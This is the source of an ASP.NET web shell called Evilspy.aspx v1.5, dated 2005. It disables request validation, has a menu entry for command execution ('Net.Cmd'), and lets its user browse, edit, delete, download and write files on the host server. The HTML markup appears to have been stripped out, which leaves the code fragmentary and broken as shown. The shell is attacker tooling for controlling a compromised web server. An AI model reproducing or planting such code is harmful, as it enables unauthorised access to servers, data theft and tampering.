<%@page Language="VB" Debug="true" trace="false" validateRequest="false" %> <%@ import namespace="System.IO"%> <%@ import namespace="System.Net"%> <%@ Import Namespace="System.Diagnostics" %> Evilspy.aspx by 菠菜系统分析实验室 http://angler.126.com

Evilspy.aspx v1.5 内部测试版

[系统参数] | [Net.Cmd]| [文件管理] | [退出] | [返回]


" response.Write(panel02info) for each xdir in mydir.getdirectories response.Write("") dim filepath as string filepath=server.UrlEncode(url & xdir.name) panel02info= "" response.Write(panel02info) response.Write("") response.Write("") response.Write("") response.Write("") panel02info="" response.Write(panel02info) response.Write("") next %> ") panel02info="" response.Write(panel02info) panel02info="" response.Write(panel02info) response.Write("") response.Write("") response.Write("") panel02info="" response.Write(panel02info) response.Write("") next response.Write("
名称 大小(byte) 创建时间 修改时间 最后访问时间 操作
<% mydir=new directoryinfo(url) dim panel02info as string= "
|父目录|
" & xdir.name & "<dir>" & Directory.GetCreationTime(url & xdir.name) & "" & Directory.GetLastWriteTime(url & xdir.name) & "" & Directory.GetlastAccessTime(url & xdir.name) & "剪切" & "|复制|删除
<% for each xfile in mydir.getfiles() dim filepath2 as string filepath2=server.UrlEncode(url & xfile.name) response.Write("
" & xfile.name & "" & xfile.length & "" & File.GetCreationTime(url & xfile.name) & "" & File.GetLastWriteTime(url & xfile.name) & "" & File.GetlastAccessTime(url & xfile.name) & "编辑|剪切|粘贴|重命名|下载|删除
") %>
路径:

内容:


Copyright © 2005 swords[EST] @ 菠菜系统分析实验室™ All Rights Reserved.

致谢:"逆动火流"提供开发测试空间!